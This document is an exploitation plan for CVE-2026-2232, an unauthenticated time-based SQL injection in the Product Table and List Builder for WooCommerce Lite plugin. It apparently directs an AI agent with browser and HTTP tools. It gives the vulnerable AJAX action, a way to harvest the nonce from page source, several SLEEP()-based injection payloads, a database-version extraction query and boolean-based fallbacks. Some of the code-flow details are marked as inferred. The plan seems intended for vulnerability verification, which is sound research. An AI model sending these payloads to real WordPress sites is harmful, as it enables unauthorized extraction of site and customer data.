Exploitation Research Plan: CVE-2026-2232 - Product Table and List Builder for WooCommerce Lite

1. Vulnerability Summary

The Product Table and List Builder for WooCommerce Lite plugin (versions <= 4.6.2) is vulnerable to an unauthenticated time-based SQL Injection. The flaw exists in the product search logic within search.php. Specifically, when the plugin performs a complex search (non-default), user-supplied input from the search parameter is improperly sanitized or escaped before being interpolated into raw SQL queries. This allows an attacker to append time-based SQL payloads (e.g., SLEEP()) to the query, facilitating data extraction from the database.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• AJAX Action: wcpt_load_products (inferred from plugin functionality)
• Vulnerable Parameter: search (passed as part of the AJAX request data)
• Authentication: Unauthenticated (wp_ajax_nopriv_wcpt_load_products)
• Payload Type: Time-based Blind SQL Injection.

3. Code Flow

1. Entry Point: A user visits a page containing a product table shortcode (e.g., [wcpt_table id="123"]). The frontend JS sends an AJAX request to admin-ajax.php with the action wcpt_load_products.
2. Handler: The AJAX handler (likely in main.php or includes/) receives the request. It extracts the search parameter from $_POST and populates an array (often named $filter_info).
3. Sink: The handler calls wcpt_search($filter_info) in search.php.
4. Vulnerable Path:
   • wcpt_search checks if use_default_search is empty.
   • It processes $filter_info['keyword'] (which holds the search value) via trim() and strtolower().
   • It performs various keyword replacements based on plugin settings.
   • The code then enters complex search blocks (e.g., searching titles, content, custom fields).
   • In the complex search sections (starting around line 245 in search.php), queries are built. If a specific field search (like custom_field or attribute) does not use $wpdb->prepare() for the keyword parts or if it interpolates sanitized text into a LIKE clause without SQL-specific escaping, the injection occurs.

4. Nonce Acquisition Strategy

The plugin typically requires a nonce for its AJAX requests to prevent CSRF, even for unauthenticated users. The nonce is localized in the page source.

1. Shortcode: Identify the shortcode used to display tables: [wcpt_table id="ID"].
2. Preparation: Create a published page containing this shortcode.
3. Extraction:
   • Navigate to the page using browser_navigate.
   • The plugin localizes data via wp_localize_script under the handle wcpt-main.
   • JS Variable: wcpt_local
   • Nonce Key: nonce
   • Command: browser_eval("window.wcpt_local?.nonce")

5. Exploitation Strategy

We will use the http_request tool to send a POST request to the AJAX endpoint with a time-based payload.

• URL: {{BASE_URL}}/wp-admin/admin-ajax.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Parameters:
  • action: wcpt_load_products
  • nonce: {{EXTRACTED_NONCE}}
  • table_id: {{TABLE_ID}} (The ID of a created product table)
  • search: test') OR (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND ('1'='1 (Note: Payload may need adjustment based on the exact query structure, e.g., escaping brackets).

Payload Variants:

1. test' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND '1'='1
2. test") OR (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND ("1"="1
3. test%') AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND ('%'='

6. Test Data Setup

1. Create Products: Use WP-CLI to create at least one WooCommerce product.

   wp post create --post_type=product --post_title="Test Product" --post_status=publish
   

2. Create Product Table: The plugin stores tables as a custom post type wcpt or in wp_options. Creating one via WP-CLI might be complex; it is better to ensure the "Lite" default settings are initialized.
   • The plugin initializes default settings in wcpt_ensure_default_settings() in main.php.
3. Page Creation:

   wp post create --post_type=page --post_title="Product Table Page" --post_status=publish --post_content='[wcpt_table id="default"]'
   

   Note: If "default" is not a valid ID, use a numerical ID found via wp post list --post_type=wcpt.

7. Expected Results

• Baseline: A standard search request for test should return in < 1 second.
• Attack: A request with SLEEP(5) should take approximately 5 seconds or more.
• Response Body: Usually a JSON object with a success key and product data/HTML.

8. Verification Steps

1. Check Response Time: Verify the http_request response time matches the SLEEP() duration.
2. Database Integrity: Confirm no unintended changes were made to the database (SQLi is C:H/I:N/A:N, so focus on extraction).
3. Data Extraction Test: Attempt to extract the database version:
   • search: test') AND (SELECT 1 FROM (SELECT(SLEEP(5)))a WHERE VERSION() LIKE '8%') AND ('1'='1

9. Alternative Approaches

• Boolean-Based: If time-based is unstable, check if different payloads (e.g., AND 1=1 vs AND 1=2) result in different product counts in the JSON response.
• Targeting Different Fields: If search fails, test parameters like sorting or filters if they are also processed in wcpt_search.
• Archive Overrides: If the wcpt_load_products action is not the trigger, look at how the plugin handles the native WordPress search results if the "Archive Override" feature is enabled in main.php.